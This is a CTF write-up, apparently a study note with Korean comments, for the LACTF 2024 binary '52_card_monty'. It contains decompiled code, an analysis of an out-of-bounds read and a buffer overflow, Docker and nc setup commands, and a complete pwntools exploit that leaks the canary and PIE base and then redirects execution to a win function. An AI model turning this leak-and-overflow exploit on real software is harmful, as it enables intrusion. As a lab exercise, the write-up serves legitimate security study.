checksec
[*] '/home/seo/study/LACTF2024/52_card_monty/monty'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
Decompiled-src / Analysis
game 함수 호출.
int __fastcall main(int argc, const char **argv, const char **envp)
{
setup(argc, argv, envp);
puts("Welcome to 52-card monty!");
puts(
"The rules of the game are simple. You are trying to guess which card is correct. You get two peeks. Show me the lady!");
game();
return 0;
}
v3 변수의 인덱스에 대한 검사가 없기 때문에 OOB 취약점 발생. 총 2번 일으키므로 code base와 canary 유출 가능.
fgets가 s 24크기보다 더 큰 52바이트를 입력받으므로 BOF 취약점 발생.
unsigned __int64 game()
{
int v1; // [rsp+0h] [rbp-1D0h] BYREF
int i; // [rsp+4h] [rbp-1CCh]
__int64 v3; // [rsp+8h] [rbp-1C8h]
_QWORD v4[52]; // [rsp+10h] [rbp-1C0h] BYREF
char s[24]; // [rsp+1B0h] [rbp-20h] BYREF
unsigned __int64 v6; // [rsp+1C8h] [rbp-8h]
v6 = __readfsqword(0x28u);
memset(v4, 0, sizeof(v4));
for ( i = 0; i <= 51; ++i )
v4[i] = lrand();
v1 = rand() % 52;
v4[v1] = 1111111111;
puts("==============================");
printf("index of your first peek? ");
__isoc99_scanf("%d", &v1);
v3 = v4[v1 % 82];
v4[v1 % 82] = v4[0];
v4[0] = v3;
printf("Peek 1: %lu\n", v3);
puts("==============================");
printf("index of your second peek? ");
__isoc99_scanf("%d", &v1);
v3 = v4[v1 % 82];
v4[v1 % 82] = v4[0];
v4[0] = v3;
printf("Peek 2: %lu\n", v3);
puts("==============================");
printf("Show me the lady! ");
__isoc99_scanf("%d", &v1);
puts("==============================");
if ( v4[v1] == 1111111111 )
puts("You win!");
else
puts("Just missed. Try again.");
puts("==============================");
puts("Add your name to the leaderboard.");
getchar();
printf("Name: ");
fgets(s, 52, stdin);
puts("==============================");
printf("Thanks for playing, %s!\n", s);
return v6 - __readfsqword(0x28u);
}
Docker 가상환경 구축
- ubuntu 22.04.05 환경에서 flag 획득 불가로 Docker 구축 필요
sudo docker build . -t 52_card_monty sudo docker run -it --rm --privileged --security-opt seccomp=unconfined -p 1337:1337 52_card_monty sh /srv/app # nc -lvp 1337 -e /srv/app/run listening on [::]:1337 ... connect to [::ffff:172.17.0.2]:1337 from [::ffff:172.17.0.1]:50326 ([::ffff:172.17.0.1]:50326) Segmentation fault (core dumped)
solve.py
from pwn import *
# context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')
# p = process("./monty")
p = remote("127.0.0.1", 1337)
e = ELF('./monty', checksec=True)
sla = p.sendlineafter
sa = p.sendafter
payload = b"57" #ret
sla(b"index of your first peek? ", payload)
code_base = p.recvline()
code_base = code_base.split(b"Peek 1: ")[1].split(b"\n")[0]
code_base = int(code_base) - 0x167e
success(f"code_base: {hex(code_base)}")
payload = b"55" #canary
sla(b"index of your second peek? ", payload)
canary = p.recvline()
canary = canary.split(b"Peek 2: ")[1].split(b"\n")[0]
canary = int(canary)
success(f"canary: {hex(canary)}")
sla(b"Show me the lady! ", b"1")
payload = b"A"*24 + p64(canary) + b"B"*8 + p64(e.symbols["win"] + code_base)
sla(b"Name: ", payload)
p.interactive()
Result
seo@seo:~/study/LACTF2024/52_card_monty$ python3 solve.py
[+] Opening connection to 127.0.0.1 on port 1337: Done
[*] '/home/seo/study/LACTF2024/52_card_monty/monty'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
[+] code_base: 0x56fd9c27c000
[+] canary: 0xe6096a4aeb61fb00
[*] Switching to interactive mode
==============================
Thanks for playing, AAAAAAAAAAAAAAAAAAAAAAAA!
flag{fake_flag}
[*] Got EOF while reading in interactive
$